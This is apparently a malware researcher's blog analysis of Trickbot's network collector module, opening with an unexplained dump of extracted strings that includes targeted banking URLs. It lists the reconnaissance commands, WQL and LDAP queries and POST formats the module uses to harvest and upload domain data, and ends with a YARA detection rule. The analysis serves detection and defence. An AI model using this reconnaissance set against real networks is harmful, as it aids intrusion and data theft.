ia.com;commercial.wachovia.com;wcp.wachovia.com;chsec.wellsfargo.com;wellsoffice.wellsfargo.com;/ibws/;/stbcorp/;/payments/ach;trz.tranzact.org;/wiret;/payments/ach;cbs.firstcitizensonline.com;/corpach/;scotiaconnect.scotiabank.com;webexpress.tdbank.com;businessonline.tdbank.com;/wcmpw/;/wcmpr/;/wcmtr/;tcfexpressbusiness.com;trz.tranzact.org
pstorec.dll
VBoxGuest
wpq
ivm-inject.dll
GetModuleHandleA
BACKSP
url=[%s]
lb=[%s]
data=[%s]
PR_Poll
vm3dmp
vmxnet
norton
GetUrlCacheEntryInfoW
.lnk
user32.dll
.js
LdrGetProcedureAddress
SetNamedSecurityInfoA
GetFileAttributesA
LoadLibraryA
Basic
CertDuplicateCRLContext
Software\Microsoft\Windows
Messaging
Subsystem
image/gif
GetVolumeInformationA
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList
b9819c52

Let’s Learn: Trickbot Implements Network Collector Module Leveraging CMD, WMI & LDAP

Goal: Reverse and document the latest module “network64/32Dll,” leveraged by the notorious Trickbot banking malware gang.

Decoded module hash “network64Dll”aeb08b0651bc8a13dcf5e5f6c0d482f8
Decoded config in “network64Dll_configs:

Background:

https://platform.twitter.com/widgets.js Assessment

While reviewing Twitter posts related to Trickbot malware, I was alerted by a few researchers @Ring0x0 and @v0id_hunter to the new module dropped by the Trickbot gang “network64/32Dll.” This specific module appears to be one single harvester of all possible network victim information from running commands such as “ipconfig /all” and “nltest /domain_trusts /all_trusts” to WMI Query Language (WQL) queries such as “SELECT * FROM Win32_OperatingSystem” to lightweight directory access protocol (LDAP) queries. Notably, the gang leverages “nltest” commands to establish trust relationship between between a compromised workstation and its possible domain before quering LDAP. This is not the first time this gang leverages LDAP; they also developer a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier.
This tiny 24 KB module DLL, compiled on Friday March 30, 08:52:12 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 32 functions.

Possible Attack Methodology

The module is likely used by the gang to expand their access to victim networks possibly identifying high-value corporate domains that they can exploit further either via their “tab” module implementing its ETERNALROMANCE exploit implementation, paired with Mimikatz and/or establish deeper network persistence before they deploy additional malware.
The decoded Trickbot “network64Dll” module contains the usual Trickbot export functions:

  • Control 
  • FreeBuffer
  • Release
  • Start
The module framework is as follows:
I. Network Collector Module
II. Network Communication 
III. Yara rule
I.  Network Collector Module

A. ***PROCESS LIST***
Collects all processes via CreatoolHelp32Snapshot iterating through running processes.
B. . ***SYSTEMINFO***
The list of queried WMQ is based from this expression:
  • SELECT * FROM Win32_OperatingSystem
C. CMD-based calls
The list of all simple command leveraged by the gang:
  • ipconfig /all
  • net config workstation
  • net view /all
  • net view /all /domain
  • nltest /domain_trusts
  • nltest /domain_trusts /all_trusts
D.  LDAP network and domain queries


The list of some of the grouped LDAP queries:
a. ***LOCAL MACHINE DATA***
  • User name
  • Computer name
  • Site name
  • Domain shortname
  • Domain name
  • Forest name
  • Domain controller
  • Forest trees
b. ***COMPUTERS IN FOREST***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
c. ***USERS IN FOREST***
  • E-mail
  • Comment
  • Description
  • Name
d. ***COMPUTERS IN DOMAIN***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
e. ***USERS IN DOMAIN***
  • E-mail
  • Comment
  • Description
  • Name
II. Network Communication

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:
A. Content-Disposition: form-data; name=”proclist
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}
B. Content-Disposition: form-data; name=”sysinfo
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7″ appears to be a marker/separator specifically for the LDAP query collection upload to split the harvested information. Thanks to @Ring0x0  for the share.
III. YARA RULE
rule crime_trickbot_network_module_in_memory {
meta:
description = “Detects Trickbot network module in memory”
author = “@VK_Intel”
reference = “Detects unpacked Trickbot network64Dll”
date = “2018-04-02”
hash = “0df586aa0334dcbe047d24ce859d00e537fdb5e0ca41886dab27479b6fc61ba6”
strings:
$s0 = “***PROCESS LIST***” fullword wide
$s1 = “(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))” fullword wide
$s2 = “***USERS IN DOMAIN***” fullword wide
$s3 = “Operating System: %ls” fullword wide
$s4 = “yesyes<conf ctl=\"SetCon" ascii
$s5 = “Content-Length: %lu” fullword wide
$s6 = “Boot Device – %ls” fullword wide
$s7 = “Serial Number – %ls” fullword wide
$s8 = “Content-Disposition: form-data; name=\”proclist\”” fullword ascii
$s9 = “Content-Disposition: form-data; name=\”sysinfo\”” fullword ascii
$s10 = “Product Type – Server” fullword wide
$s11 = “***SYSTEMINFO***” fullword wide
$s12 = “OS Version – %ls” fullword wide
$s13 = “(&(objectcategory=person)(samaccountname=*))” fullword wide
$s14 = “Product Type – Domain Controller” fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 70KB and 12 of ($s*)
}

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}